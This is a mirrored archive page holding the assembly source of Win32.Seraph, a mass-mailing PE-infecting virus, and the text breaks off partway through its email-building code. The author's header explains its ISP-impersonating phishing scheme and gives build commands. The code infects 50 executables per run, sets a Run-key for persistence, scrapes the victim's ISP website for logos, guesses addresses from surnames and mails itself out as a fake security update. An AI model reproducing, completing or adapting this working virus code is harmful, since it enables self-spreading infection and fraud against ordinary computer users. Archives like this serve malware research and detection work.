13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 03:58:34 +00:00
vxug-MalwareSourceCode/Win32/Win32.Seraph.asm
2020-10-10 22:09:34 -05:00

2851 lines
98 KiB
NASM

;
; [ Win32.Seraph@mm Vorgon/iKX ]
; [ 28672 bytes Target - PE ]
; [ 09/28/03 Made in Canada ]
;
;
;
;
; [ Introduction ]
;
; Seraph is a mass-mailing virus that takes advantage of social engineering. This may sound
; boring to you, but it takes social engineering to the next level. Seraph is an information
; gatherer. It takes data from websites, computers, URL's and uses what it finds to generate
; a convincing and personal email message.
;
; So what information does Seraph gather? Seraph gathers information about the Internet service
; provider of the computers it infects. Information such as:
;
; ISP Name example: AOL
; Domain example: AOL.COM
; Website example: WWW.AOL.COM
; Logo example: HTTP://www.aol.com/logo.gif
; Deadline example: SEPTEMBER 21, 2003
; Copyright String example: (C) 2003 AOL INC.
;
; What does Seraph do with this information? Seraph takes everything you see above and generates
; an email message in HTML format. The message containing a logo image, names, valid email
; addresses, etc, appears to be a security update from your ISP. Unsuspecting victims reading this
; email message see that they must install the attached update by the deadline date, or face
; disconnection of there Internet service.
;
; How does Seraph know the email addresses of other people on the same ISP? Seraph takes a list
; of the 1024 most popular surnames in the USA and randomly selects one. It then a appends a first
; initial either the start or the end of the surname. This gives a possible 53238 email addresses
; per ISP.
;
; Sure this will spread to users on the same ISP, but how does it spread to other ISP's? Seraph
; is highly infectious. Every time it runs it infects 50 files on all drives it can find on a
; computer, except CD-ROM and drive A. It will naturally find executables in file sharing
; directories, shared folders, and anything else you can imagine.
;
;
; [ Other ]
;
; I named this virus after Seraph from the Matrix Reloaded. Seraph (the Chinese guy Neo meets
; before meeting the Oracle) had golden code and was so spectacular because he came from the first
; incarnation of the matrix, which was heaven. "Seraph" is singular for the plural "seraphim". The
; seraphim are the highest choir of angels and included amongst others: Lucifer, Gabriele, Raziel
; and Malaciah, and they sit on the 8th level of Heaven just one below God.
;
;
; [ Bug Fixes ]
;
; Below are a list of bugs i have fixed in this version.
;
; -The find file code begins searching at the start of the first drive instead of the current
; Directory. This bug was causing the entire contents of the most important drive to be excluded
; from the search.
;
; -Files in the system directory are no longer infected. Infecting files in this directory was
; causing Windows to not boot at all.
;
; -The program to be run on start-up is no longer whatever infected program is executed. It has
; been changed to the program that was last infected. Before if the user deleted the infected
; email attachment after executing the virus it would not be able to run on start-up.
;
;
; [ The Infection ]
;
; Below is a break down of what the virus does in order:
;
; - Decrypt the virus
; - Get the address of GetModuleHandleA
; - Get the kernel32.dll address
; - Get the address of GetProcAddress
; - Load the win9x API functions
; - Create a thread to execute the rest of the virus code
; - Infect 50 files on drives B-Z, excluding CD-ROM
; - Make the last file infected run on start-up
; - Display an install message if the filename is patch110.exe
; - On February 23 display the pay load
; - Load the win2k API functions if the OS version permits
; - Get the IP address of the computer
; - Get the hostname of the computer
; - Extract the ISP domain from the host name of the computer
; - Download the main page of the internet service provider and handle redirections
; - Search the webpage for a logo image URL
; - Get the company name of the ISP
; - Create a dead line date for the email message
; - Generate an email address
; - Create the email message using all the data collected
; - Send the email message
; - Send the current host EXE as the update attachment.
; - Exit the thread
;
;
; [ Assembling ]
;
; tasm32 /ml /jLOCALS seraph
; tlink32 -aa -x /Tpe /c seraph,seraph,,import32.lib,,
; editbin /SECTION:CODE,rwe seraph.exe
;
;
; [ Greetz ]
;
; T00fic, Morphine, Eddow, Raid, Gigabyte, Kefi, SPTH, Kernel32
;
;
.486p
.MODEL flat, stdcall
EXTRN GetModuleHandleA : PROC
;-------------------------------------------------------------------------------------------------;
; Constants ;
;-------------------------------------------------------------------------------------------------;
; file I/O constants
OPEN_EXISTING EQU 3
GENERIC_READ EQU 80000000h
GENERIC_WRITE EQU 40000000h
FILE_SHARE_READ EQU 1
FILE_SHARE_WRITE EQU 2
FILE_BEGIN EQU 0
FILE_END EQU 2
; DNS constants
DNS_QUERY_STANDARD EQU 0
DNS_TYPE_PTR EQU 12
DNS_TYPE_MX EQU 15
DNSREC_ANSWER EQU 1
DNS_FREE_RECORD_LIST_DEEP EQU 1
; winsock constants
AF_INET EQU 2
SOCK_STREAM EQU 1
PCL_NONE EQU 0
SO_RCVTIMEO EQU 1006h
SO_SNDTIMEO EQU 1005h
SOL_SOCKET EQU 0FFFFh
; registry constants
HKEY_LOCAL_MACHINE EQU 80000002h
REG_SZ EQU 1
; MISC constants
GMEM_FIXED EQU 0
SECTION_RWE EQU 0E0000020h
TRUE EQU 1
FALSE EQU 0
EXIT_THREAD EQU 1
CRLF EQU 13, 10
DRIVE_CDROM EQU 5
;-------------------------------------------------------------------------------------------------;
; Structures ;
;-------------------------------------------------------------------------------------------------;
PE_HEADER STRUC
dwSignature DD 0
wMachine DW 0
wNumberOfSections DW 0
dwTimeDateStamp DD 0
dwPointerToSymbolTable DD 0
dwNumberOfSymbols DD 0
wSizeOfOptionalHeader DW 0
wCharacteristics DW 0
wMagic DW 0
cMajorLinkerVersion DB 0
cMinorLinkerVersion DB 0
dwSizeOfCode DD 0
dwSizeOfInitializedData DD 0
dwSizeOfUninitializedData DD 0
dwAddressOfEntryPoint DD 0
dwBaseOfCode DD 0
dwBaseOfData DD 0
dwImageBase DD 0
dwSectionAlignment DD 0
dwFileAlignment DD 0
wMajorOperatingSystemVersion DW 0
wMinorOperatingSystemVersion DW 0
wMajorImageVersion DW 0
wMinorImageVersion DW 0
wMajorSubsystemVersion DW 0
wMinorSubsystemVersion DW 0
dwReserved1 DD 0
dwSizeOfImage DD 0
dwSizeOfHeaders DD 0
dwCheckSum DD 0
wSubsystem DW 0
wDllCharacteristics DW 0
dwSizeOfStackReserve DD 0
dwSizeOfStackCommit DD 0
dwSizeOfHeapReserve DD 0
dwSizeOfHeapCommit DD 0
dwLoaderFlags DD 0
dwNumberOfRvaAndSizes DD 0
dwExportDirectoryVA DD 0
dwExportDirectorySize DD 0
dwImportDirectoryVA DD 0
dwImportDirectorySize DD 0
dwResourceDirectoryVA DD 0
dwResourceDirectorySize DD 0
dwExceptionDirectoryVA DD 0
dwExceptionDirectorySize DD 0
dwSecurityDirectoryVA DD 0
dwSecurityDirectorySize DD 0
dwBaseRelocationTableVA DD 0
dwBaseRelocationTableSize DD 0
dwDebugDirectoryVA DD 0
dwDebugDirectorySize DD 0
dwArchitectureSpecificDataVA DD 0
dwArchitectureSpecificDataSize DD 0
dwRVAofGPVA DD 0
dwRVAofGPSize DD 0
dwTLSDirectoryVA DD 0
dwTLSDirectorySize DD 0
dwLoadConfigurationDirectoryVA DD 0
dwLoadConfigurationDirectorySize DD 0
dwBoundImportDirectoryinheadersVA DD 0
dwBoundImportDirectoryinheadersSize DD 0
dwImportAddressTableVA DD 0
dwImportAddressTableSize DD 0
dwDelayLoadImportDescriptorsVA DD 0
dwDelayLoadImportDescriptorsSize DD 0
dwCOMRuntimedescriptorVA DD 0
dwCOMRuntimedescriptorSize DD 0
dwNULL1 DD 0
dwNULL2 DD 0
PE_HEADER ENDS
SECTION_HEADER STRUC
sAnsiName DB 8 DUP(0)
dwVirtualSize DD 0
dwVirtualAddress DD 0
dwSizeOfRawData DD 0
dwPointerToRawData DD 0
dwPointerToRelocations DD 0
dwPointerToLinenumbers DD 0
wNumberOfRelocations DW 0
wNumberOfLinenumbers DW 0
dwCharacteristics DD 0
SECTION_HEADER ENDS
DOS_HEADER STRUC
wSignature DW 0
wBytesInLastBlock DW 0
wBlocksInFile DW 0
wNumberOfRelocs DW 0
wHeaderParagraphs DW 0
wMinExtraParagraphs DW 0
wMaxExtraParagraphs DW 0
wSS DW 0
wSP DW 0
wChecksum DW 0
wIP DW 0
wCS DW 0
wRelocTableOffset DW 0
wOverlayNumber DW 0
sUnused DB 32 DUP(0)
lpPEHeader DD 0
DOS_HEADER ENDS
WSA_DATA STRUC
wVersion DW 0
wHighVersion DW 0
szDescription DB 257 dup(0)
szSystemStatus DB 129 dup(0)
iMaxSockets DW 0
iMaxUdpDg DW 0
lpVendorInfo DD 0
WSA_DATA ENDS
SOCK_ADDRESS STRUC
sin_family DW 0
sin_port DW 0
sin_addr DD 0
sin_zero DB 8 dup(0)
SOCK_ADDRESS ENDS
DNS_RECORD STRUC
pNext DD 0
pName DD 0
wType DW 0
wDataLength DW 0
flags DD 0
dwTtl DD 0
dwReserved DD 0
DNS_RECORD ENDS
SYSTEM_TIME STRUC
wYear DW 0
wMonth DW 0
wDayOfWeek DW 0
wDay DW 0
wHour DW 0
wMinute DW 0
wSecond DW 0
wMiliseconds DW 0
SYSTEM_TIME ENDS
WIN32_FIND_DATA STRUC
FileAttributes DD 0
CreateTime DQ 0
LastAccessTime DQ 0
LastWriteTime DQ 0
FileSizeHigh DD 0
FileSizeLow DD 0
Reserved0 DD 0
Reserved1 DD 0
FullFileName DB 260 dup(0)
AlternateFileName DB 14 dup(0)
WIN32_FIND_DATA ENDS
;-------------------------------------------------------------------------------------------------;
; Macros ;
;-------------------------------------------------------------------------------------------------;
ImportTable MACRO tableName
&tableName:
ENDM
EndImport MACRO
DB 0
ENDM
EndImportTable MACRO
DB '$'
ENDM
ImportDll MACRO dllName
sz&dllName DB '&dllName', '.dll', 0
ENDM
ImportFunction MACRO functionName
sz&functionName DB '&functionName', 0
&functionName DD 0
ENDM
ApiCall MACRO functionName
call [ebp+&functionName]
ENDM
pushptr MACRO variable
lea eax, [ebp+&variable]
push eax
ENDM
pushval MACRO variable
push [ebp+&variable]
ENDM
.DATA
DD 0 ; TASM gayness
;-------------------------------------------------------------------------------------------------;
; Code Section ;
;-------------------------------------------------------------------------------------------------;
.CODE
main:
;-------------------------------------------------------------------------------------------------;
; Load the virus and its resources. ;
;-------------------------------------------------------------------------------------------------;
; get the delta pointer
call getDeltaPointer ; where am i?!?!
getDeltaPointer:
pop edi
mov ebp, edi
sub ebp, offset getDeltaPointer
; very basic XOR decryption to hide strings
cmp ebp, 0
je encrypted
lea esi, [ebp+encrypted]
mov ecx, CODE_SIZE - (offset encrypted - offset main)
decrypt:
xor byte ptr [esi], 123
inc esi
loop decrypt
; all code from this point on will be encrypted
encrypted:
; get the image base
sub edi, 5
mov [ebp+lpStartOfCode], edi ; save the start of code
and edi, 0FFFFF000h ; round off the VA to the nearest page
findImageBase:
cmp word ptr [edi], 'ZM' ; start of image?
je findKernel
sub edi, 1000h
jmp findImageBase
; find the address of the kernel32
findKernel:
mov [ebp+lpImageBase], edi
mov eax, edi
mov ebx, [eax+3ch] ; ebx = pointer to the PE header
mov esi, [ebx+eax+128]
add esi, eax ; esi = pointer to the import section
xor ecx, ecx
findKernel32:
mov ebx, [esi+ecx+12] ; get an RVA to the dll name
cmp ebx, 0 ; no more dll's left?
je returnHostControl
add ebx, eax
cmp dword ptr [ebx], 'NREK' ; Kernel32.dll found?
je findGetModuleHandleA
add ecx, 20 ; next import
jmp findKernel32
findGetModuleHandleA:
mov edx, [esi+ecx]
sub edx, 4
lea esi, [esi+ecx]
xor ecx, ecx
findName:
inc ecx
add edx, 4
mov ebx, [edx+eax] ; next name
cmp ebx, 0 ; no more function names left?
je returnHostControl
lea ebx, [ebx+eax+2]
cmp dword ptr [ebx], 'MteG'
jne findName
cmp dword ptr [ebx+4], 'ludo'
jne findName
cmp dword ptr [ebx+8], 'naHe'
jne findName
cmp dword ptr [ebx+12], 'Aeld' ; GetModuleHandleA?
jne findName
; get the address of the GetModuleHandleA function
mov esi, [esi+16]
add esi, eax
rep lodsd
; create the string "kernel32.dll" on the stack
push 0
push dword ptr 'lld.'
push dword ptr '23le'
push dword ptr 'nrek'
; call GetModuleHandleA to retrieve the address of the kernel32.dll
push esp
call eax
mov [ebp+lpKernel32], eax ; save the kernel32 address
; get the address of the GetProcAddress API function
mov ebx, [eax+3ch]
add ebx, eax
mov ebx, [ebx+120] ; get the export table VA
add ebx, eax
mov esi, [ebx+28] ; get the VA of the address table
add esi, eax
mov edi, [ebx+32] ; get the VA of the name table
add edi, eax
mov ecx, [ebx+36] ; get the VA of the ordinal table
add ecx, eax
findGetProcAddress:
add ecx, 2 ; next ordinal
add edi, 4 ; next name
mov edx, [edi]
add edx, eax
cmp dword ptr [edx], 'PteG'
jne findGetProcAddress
cmp dword ptr [edx+4], 'Acor' ; GetProcAddress?
jne findGetProcAddress
mov cx, [ecx]
and ecx, 0FFFFh
add ecx, [ebx+16] ; add ordinal base
rep lodsd ; get the VA address corrasponding to the ordinal
add eax, [ebp+lpKernel32]
mov [ebp+GetProcAddress], eax
; get the address of the LoadLibraryA API function
pushptr szLoadLibraryA
pushval lpKernel32
ApiCall GetProcAddress
mov [ebp+LoadLibraryA], eax
; load the Windows 9x API functions
lea eax, [ebp+API_Imports_9x]
call LoadImports
cmp eax, -1
je apiLoadError
; create a thread to execute the rest of the code
pushptr hThread
push 0
push ebp ; pass the delta pointer to the thread
pushptr background
push 0
push 0
ApiCall CreateThread
; if /iKX is present in the command line then loop until the thread closes
ApiCall GetCommandLineA
mov ecx, 256
parseCommandLine:
cmp dword ptr [eax], 'XKi/'
je wait
inc eax
loop parseCommandLine
; if this is not the first generation then return control to the host
cmp ebp, 0
jne returnHostControl
; if this is the first generation then loop until the thread closes
wait:
cmp [ebp+dwThreadStatus], EXIT_THREAD
jne wait
push 0
ApiCall ExitProcess
; return control to the host
returnHostControl:
mov eax, [ebp+lpReturnAddress]
add eax, [ebp+lpImageBase]
push eax
ret
; if an api function cannot be loaded then either return control to the host or exit program
apiLoadError:
cmp ebp, 0
jne returnHostControl
push 0
ApiCall ExitProcess
;-------------------------------------------------------------------------------------------------;
; Background Thread. ;
;-------------------------------------------------------------------------------------------------;
background:
mov ebp, [esp+4] ; restore the delta offset
;-------------------------------------------------------------------------------------------------;
; Infect 50 files in drives B-Z, except the CD-ROM drive. ;
;-------------------------------------------------------------------------------------------------;
xor esi, esi ; files infected counter
mov byte ptr [ebp+szDrive], 'A' ; set the drive to start searching at
nextDrive:
inc byte ptr [ebp+szDrive] ; next drive
cmp byte ptr [ebp+szDrive], 'Z'+1 ; all drives searched?
je payload
pushptr szDrive
ApiCall GetDriveTypeA
cmp eax, DRIVE_CDROM ; CD-ROM drive?
je nextDrive
pushptr szDrive
ApiCall SetCurrentDirectoryA ; set the current directory to the root of that drive
cmp eax, 0
je nextDrive
findFiles:
mov edi, esp ; save the stack pointer
push 0BAADF00Dh ; end of files marker
findFirstFile:
pushptr win32FindData
pushptr szSearchString
ApiCall FindFirstFileA ; find the first file
mov [ebp+hFind], eax
checkType:
cmp eax, 0
je downDirectory
cmp byte ptr [ebp+win32FindData.FullFileName], '.'
je findNextFile
cmp [ebp+win32FindData.FileAttributes], 10h
je upDirectory
cmp [ebp+win32FindData.FileAttributes], 30h
je upDirectory
; check the file extension for .exe or .scr
push edi
mov al, '.'
mov ecx, 260
lea edi, [ebp+win32FindData.FullFileName]
repne scasb ; seek to the file extension
mov eax, [edi-1]
pop edi
and eax, 0DFDFDFFFh ; make upper case
cmp eax, 'EXE.' ; executable file?
je infectFile
cmp eax, 'RCS.' ; screen saver?
je infectFile
jmp findNextFile
infectFile:
; check to see if the file is a valid PE executable and is not already infected
push esi
push edi
lea esi, [ebp+win32FindData.FullFileName]
call IsValid
pop edi
pop esi
cmp eax, -1
je findNextFile
; if the executable file is in the system directory then dont infect it
push 256
pushptr szSystemDirectory
ApiCall GetSystemDirectoryA
pushptr szSystemDirectory
ApiCall CharUpperA
pushptr szCurrentDirectory
push 256
ApiCall GetCurrentDirectoryA
pushptr szCurrentDirectory
ApiCall CharUpperA
pushptr szSystemDirectory
pushptr szCurrentDirectory
ApiCall lstrcmpA
cmp eax, 0
je findNextFile
; infect the file
push esi
lea esi, [ebp+win32FindData.FullFileName]
call AttachCode
pop esi
cmp eax, -1
je findNextFile
; increment the file infection counter
inc esi
cmp esi, 50 ; infect 50 files
jne findNextFile
; if 50 files have been infected stop searching
mov esp, edi
jmp searchComplete
findNextFile:
pushptr win32FindData
pushval hFind
ApiCall FindNextFileA ; find the next file
jmp checkType
upDirectory:
pushptr win32FindData.FullFileName
ApiCall SetCurrentDirectoryA
cmp eax, 0
je findNextFile
pushval hFind ; save the find handle
jmp findFirstFile
downDirectory:
pushptr szBackDir
ApiCall SetCurrentDirectoryA
pushval hFind
ApiCall FindClose ; close the find handle
pop [ebp+hFind] ; restore the previous find handle
cmp [ebp+hFind], 0BAADF00Dh ; no more files left to find?
jne findNextFile
mov esp, edi ; restore the stack pointer
jmp nextDrive ; find another drive to infect
searchComplete:
;-------------------------------------------------------------------------------------------------;
; Make it so the last infected file runs on start-up. ;
;-------------------------------------------------------------------------------------------------;
; copy the current path to a buffer
pushptr szCurrentDirectory
pushptr szModuleName
ApiCall lstrcpyA
; append a slash
pushptr szSlash
pushptr szModuleName
ApiCall lstrcatA
; append the executable file name
pushptr win32FindData.FullFileName
pushptr szModuleName
ApiCall lstrcatA
; concat the commandline parameter /iKX to the key value
pushptr szIkxParameter
pushptr szModuleName
ApiCall lstrcatA
; open "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
pushptr hKey
pushptr szSubKey
push HKEY_LOCAL_MACHINE
ApiCall RegOpenKeyA
cmp eax, 0
jne exitThread
; get the length of the module name
pushptr szModuleName
ApiCall lstrlenA
; set the start-up program
push eax
pushptr szModuleName
push REG_SZ
push 0
pushptr szValueName
pushval hKey
ApiCall RegSetValueExA
; close the key
pushval hKey
ApiCall RegCloseKey
;-------------------------------------------------------------------------------------------------;
; Display the patch install message if the module name is "patch110.exe" ;
;-------------------------------------------------------------------------------------------------;
; get the path and name of this program
push 256
pushptr szModuleName
push 0
ApiCall GetModuleFileNameA
; seek to a dot
lea edi, [ebp+szModuleName]
mov al, '.'
mov ecx, 256
repne scasb
; seek backwards to a slash
std
mov al, '\'
repne scasb
cld
add edi, 2
; compair the filename to "patch110.exe"
mov ecx, 12
lea esi, [ebp+szPatchName]
rep cmpsb
cmp ecx, 0
jne payload
; display the patch install message
push 0
pushptr szPatchTitle
pushptr szPatchInstall
push 0
ApiCall MessageBoxA
;-------------------------------------------------------------------------------------------------;
; Display a poem by John Keats on the day of his death. ;
;-------------------------------------------------------------------------------------------------;
payload:
; get today's date
pushptr date
ApiCall GetSystemTime
; Feb 23?
cmp [ebp+date.wMonth], 2
jne loadImports
cmp word ptr [ebp+date.wDay], 24
jne loadImports
; display poem
push 0
pushptr szTitle
pushptr szElginMarbles
push 0
ApiCall MessageBoxA
;-------------------------------------------------------------------------------------------------;
; Load the Windows 2k Imports. ;
;-------------------------------------------------------------------------------------------------;
loadImports:
; Windows 2k+ OS?
ApiCall GetVersion
cmp al, 5
jl exitThread
; load the Windows 2k API functions
lea eax, [ebp+API_Imports_2k]
call LoadImports
cmp eax, -1
je exitThread
; internet connection?
push 0
pushptr dwConnectionState
ApiCall InternetGetConnectedState
cmp eax, FALSE
je exitThread
;-------------------------------------------------------------------------------------------------;
; Get the IP address of this computer. ;
;-------------------------------------------------------------------------------------------------;
; initialize winsock
pushptr wsaData
push 0101h
ApiCall WSAStartup
cmp eax, 0
jne exitThread
; get the local host name of this computer
push 132
pushptr szHostName
ApiCall gethostname
cmp eax, 0
jne exitThread
; clear the reverse IP buffer
push 29
pushptr szReverseIP
ApiCall RtlZeroMemory
; get the IP address of the local host
pushptr szHostName
ApiCall gethostbyname
cmp eax, 0
je exitThread
mov eax, [eax+12]
mov eax, [eax]
mov eax, [eax]
;-------------------------------------------------------------------------------------------------;
; Get the host name of this computer. ;
;-------------------------------------------------------------------------------------------------;
getHostName:
bswap eax ; reverse the byte order of the IP
; convert the IP address to a string
push eax
ApiCall inet_ntoa
; copy the reverse IP string to the buffer
push eax
pushptr szReverseIP
ApiCall lstrcpyA
; concat the .in-addr.arpa string
pushptr szArpa
pushptr szReverseIP
ApiCall lstrcatA
; query a DNS server for the host name of this computer
push 0
pushptr lpResults
push 0
push DNS_QUERY_STANDARD
push DNS_TYPE_PTR
pushptr szReverseIP
ApiCall DnsQuery_A
cmp eax, 0
jne exitThread
; was an answer record found?
push size DNS_RECORD
pushval lpResults
pushptr dnsRecordHeader
ApiCall RtlMoveMemory
mov eax, [ebp+dnsRecordHeader.flags]
and al, 00000011b
cmp al, DNSREC_ANSWER
jne exitThread
; clear the szHostName buffer
push 132
pushptr szHostName
ApiCall RtlZeroMemory
; get the host name from the DNS response message
mov eax, [ebp+lpResults]
add eax, size DNS_RECORD
mov eax, [eax]
push eax
pushptr szHostName
ApiCall lstrcpyA
; release the DNS record list
push DNS_FREE_RECORD_LIST_DEEP
pushval lpResults
ApiCall DnsRecordListFree
;-------------------------------------------------------------------------------------------------;
; Extract the ISP host name from this computers host name. ;
;-------------------------------------------------------------------------------------------------;
; seek to the end of the domain
lea esi, [ebp+szHostName]
push esi
ApiCall lstrlenA
add esi, eax
; seek backwards to a period or the start of domain
findPeriod:
dec esi
lea eax, [ebp+szHostName]
cmp esi, eax ; start of host name?
je copyFullDomain
cmp byte ptr [esi], '.'
jne findPeriod
mov ebx, esi
; compair domains
lea edi, [ebp+topDomains]
compairDomain:
mov al, [ebx+1]
mov ah, [edi]
inc ebx
inc edi
cmp ax, 0
je findPeriod
cmp ax, 002Eh
je findPeriod
cmp al, ah
je compairDomain
; seek to the next domain in the list
push edi
ApiCall lstrlenA
add edi, eax
inc edi
; no more domains left?
mov ebx, esi
cmp byte ptr [edi], '$'
jne compairDomain
inc esi
copyFullDomain:
; clear the szIspHostName buffer
push 132
pushptr szIspDomainName
ApiCall RtlZeroMemory
; copy the domain to a buffer
push esi
pushptr szIspDomainName
ApiCall lstrcpyA
;-------------------------------------------------------------------------------------------------;
; Download the main webpage of the Internet Service Provider. ;
;-------------------------------------------------------------------------------------------------;
; allocate 64k for the webpage
push 65536
push GMEM_FIXED
ApiCall GlobalAlloc
cmp eax, 0
je exitThread
mov [ebp+lpWebpage], eax
; initialize wininet
push 0
push 0
push 0
push 0
push 0
ApiCall InternetOpenA
cmp eax, 0
je exitThread
mov [ebp+hInternet], eax
; copy the domain to a buffer
pushptr szWWW
pushptr szIspWebpage
ApiCall lstrcpyA
; concat the ISP domain
pushptr szIspDomainName
pushptr szIspWebpage
ApiCall lstrcatA
; open the webpage URL
openUrl:
push 0
push 0
push 0
push 0
pushptr szIspWebpage
pushval hInternet
ApiCall InternetOpenUrlA
cmp eax, 0
je exitThread
mov [ebp+hFile], eax
; download the webpage
mov edi, [ebp+lpWebpage]
xor esi, esi
downloadWebpage:
pushptr dwNumberOfBytes
push 65536
push edi
pushval hFile
ApiCall InternetReadFile
add edi, [ebp+dwNumberOfBytes]
add esi, [ebp+dwNumberOfBytes]
cmp [ebp+dwNumberOfBytes], 0
jne downloadWebpage
mov [ebp+dwWebpageSize], esi
; if the webpage size is greater then 500 bytes then find the logo
cmp esi, 500
jg findLogoUrl
;-------------------------------------------------------------------------------------------------;
; Handle webpage redirections. ;
;-------------------------------------------------------------------------------------------------;
; find a URL in the webpage
xor ecx, ecx
mov edx, esi
mov edi, [ebp+lpWebpage]
lea esi, [ebp+szIspWebpage]
findUrl:
mov eax, [edi]
and eax, 00FFFFFFh
cmp eax, 2F2F3Ah
je findUrlStart
inc edi
inc ecx
cmp ecx, edx
jne findUrl
jmp exitThread
; find the start of the URL
findUrlStart:
cmp byte ptr [edi], '"'
je copyUrl
cmp byte ptr [edi], ' '
je copyUrl
cmp byte ptr [edi], '='
je copyUrl
cmp byte ptr [edi], '('
je copyUrl
dec edi
dec ecx
cmp ecx, 0
jne findUrlStart
jmp exitThread
; copy the URL to a buffer
copyUrl:
inc edi
inc ecx
mov al, [edi]
mov [esi], al
inc esi
cmp ecx, edx
je exitThread
cmp al, '"'
je copyComplete
cmp al, ' '
je copyComplete
cmp al, ')'
je copyComplete
jmp copyUrl
; zero terminate the URL and download the webpage
copyComplete:
mov byte ptr [esi-1], 0
jmp openUrl
;-------------------------------------------------------------------------------------------------;
; Find a logo image URL on the webpage. ;
;-------------------------------------------------------------------------------------------------;
findLogoUrl:
; find the word "logo"
xor ecx, ecx
mov esi, [ebp+lpWebpage]
lea edi, [ebp+szUrl]
findLogo:
mov eax, [esi]
and eax, 0DFDFDFDFh
cmp eax, 'OGOL'
je findType
cmp ecx, [ebp+dwWebpageSize]
je exitThread
inc esi
inc ecx
jmp findLogo
; find the file extension ".gif" or ".jpg"
findType:
mov eax, [esi]
cmp al, ' '
je findLogo
and eax, 0DFDFDFFFh
cmp eax, 'FIG.'
je findImgStart
cmp eax, 'GPJ.'
je findImgStart
cmp ecx, [ebp+dwWebpageSize]
je exitThread
inc esi
inc ecx
jmp findType
; find the start of the image URL
findImgStart:
mov al, [esi]
cmp al, ' '
je copyImage
cmp al, '='
je copyImage
cmp al, '('
je copyImage
cmp al, '"'
je copyImage
cmp ecx, 0
je exitThread
dec esi
dec ecx
jmp findImgStart
; copy the image URL to a buffer
copyImage:
inc esi
mov al, [esi]
mov [edi], al
cmp al, ' '
je imageCopied
cmp al, '"'
je imageCopied
cmp al, ')'
je imageCopied
cmp al, '>'
je imageCopied
cmp ecx, [ebp+dwWebpageSize]
je exitThread
inc ecx
inc edi
jmp copyImage
imageCopied:
mov byte ptr [edi], 0
; only the image name specified in the URL?
lea edi, [ebp+szUrl]
mov ecx, 132
mov al, '/'
repne scasb
mov edx, 1
jecxz makeFullUrl
; only the image path/name specified in the URL?
lea edi, [ebp+szUrl]
mov ecx, 132
mov al, ':'
repne scasb
mov edx, 0
jecxz makeFullUrl
; copy the full URL to a buffer
pushptr szUrl
pushptr szLogoUrl
ApiCall lstrcpyA
jmp logoParseComplete
; create a complete URL containing a scheme, hostname and path.
makeFullUrl:
lea edi, [ebp+szIspWebpage]
mov ecx, 132
mov al, '.'
repne scasb
mov eax, 132
sub eax, ecx
mov ecx, eax
findDomainEnd:
inc ecx
inc edi
cmp ecx, 132
je exitThread
mov al, [edi]
cmp al, 0
je copyDomain
cmp al, '/'
je copyDomain
jmp findDomainEnd
copyDomain:
lea edi, [ebp+szLogoUrl]
lea esi, [ebp+szIspWebpage]
rep movsb
cmp edx, 0
je concatPath
mov byte ptr [edi], '/'
inc edi
concatPath:
pushptr szUrl
push edi
ApiCall lstrcpyA
logoParseComplete:
;-------------------------------------------------------------------------------------------------;
; Get the company name of the ISP. ;
;-------------------------------------------------------------------------------------------------;
; copy the company name to a buffer
lea edi, [ebp+szIspName]
lea esi, [ebp+szIspDomainName]
copyCompanyName:
mov al, [esi]
cmp al, '.'
je companyNameCopied
mov [edi], al
inc esi
inc edi
jmp copyCompanyName
companyNameCopied:
mov byte ptr [edi], 0
; make the first letter upper case
lea edi, [ebp+szIspName]
and byte ptr [edi], 0DFh
;-------------------------------------------------------------------------------------------------;
; Create a deadline date for the email message ;
;-------------------------------------------------------------------------------------------------;
; get today's date
pushptr date
ApiCall GetSystemTime
; set the dead line date
mov [ebp+date.wDay], 1
inc [ebp+date.wMonth]
cmp [ebp+date.wMonth], 13
jl convertDate
mov [ebp+date.wMonth], 1
inc [ebp+date.wYear]
; convert the date to a string
convertDate:
push 25
pushptr szDeadLine
pushptr szDateFormat
pushptr date
push 0
push 0
ApiCall GetDateFormatA
;-------------------------------------------------------------------------------------------------;
; Generate a username to send the email message to. ;
;-------------------------------------------------------------------------------------------------;
xor si, si
; clear the email account buffer
push 25
pushptr szEmailAccount
ApiCall RtlZeroMemory
; generate a number from 0-1
ApiCall GetTickCount
and ax, 8000h
shr ax, 15
mov si, ax
cmp ax, 0
je getName
; generate a number from 0-25
preLetter:
ApiCall GetTickCount
and ax, 7C00h
shr ax, 10
cmp al, 26
jge preLetter
add al, 'A'
mov byte ptr [ebp+szEmailAccount], al
; generate a number from 0-1023
getName:
ApiCall GetTickCount
and ax, 3FFh
xor ecx, ecx
mov cx, ax
; find the name corrusponding to the number
lea edi, [ebp+lastnames]
jecxz displayName
seekToName:
push ecx
mov ecx, 25
xor al, al
repne scasb
pop ecx
loop seekToName
displayName:
push edi
pushptr szEmailAccount
ApiCall lstrcatA
; generate a trailing letter if specified
cmp si, 1
je nameComplete
postLetter:
ApiCall GetTickCount
and ax, 7C00h
shr ax, 10
mov dl, al
cmp dl, 26
jge postLetter
add dl, 'A'
xor al, al
lea edi, [ebp+szEmailAccount]
mov ecx, 25
repne scasb
mov byte ptr [edi-1], dl
nameComplete:
;-------------------------------------------------------------------------------------------------;
; Get a mail server name. ;
;-------------------------------------------------------------------------------------------------;
; query a DNS server for a list of the ISP's mail servers
push 0
pushptr lpResults
push 0
push DNS_QUERY_STANDARD
push DNS_TYPE_MX
pushptr szIspDomainName
ApiCall DnsQuery_A
cmp eax, 0
jne exitThread
; was an answer record found?
push size DNS_RECORD
pushval lpResults
pushptr dnsRecordHeader
ApiCall RtlMoveMemory
mov eax, [ebp+dnsRecordHeader.flags]
and al, 00000011b
cmp al, DNSREC_ANSWER
jne exitThread
; clear the szMailServer buffer
push 132
pushptr szMailServer
ApiCall RtlZeroMemory
; get the host name from the DNS response message
mov eax, [ebp+lpResults]
add eax, size DNS_RECORD
mov eax, [eax]
push eax
pushptr szMailServer
ApiCall lstrcpyA
; release the DNS record list
push DNS_FREE_RECORD_LIST_DEEP
pushval lpResults
ApiCall DnsRecordListFree
;-------------------------------------------------------------------------------------------------;
; Create the email message. ;
;-------------------------------------------------------------------------------------------------;
; allocate 4k of memory for the email message
push 4096
push GMEM_FIXED
ApiCall GlobalAlloc
cmp eax, 0
je exitThread
mov [ebp+lpEmailMessage], eax
; clear the buffer
push 4096
pushval lpEmailMessage
ApiCall RtlZeroMemory
; concat part 1 of the email message
pushptr szEmailPart1
pushval lpEmailMessage
ApiCall lstrcatA
; concat the ISP domain name
pushptr szIspDomainName
pushval lpEmailMessage
ApiCall lstrcatA
; concat part 2 of the email message
pushptr szEmailPart2
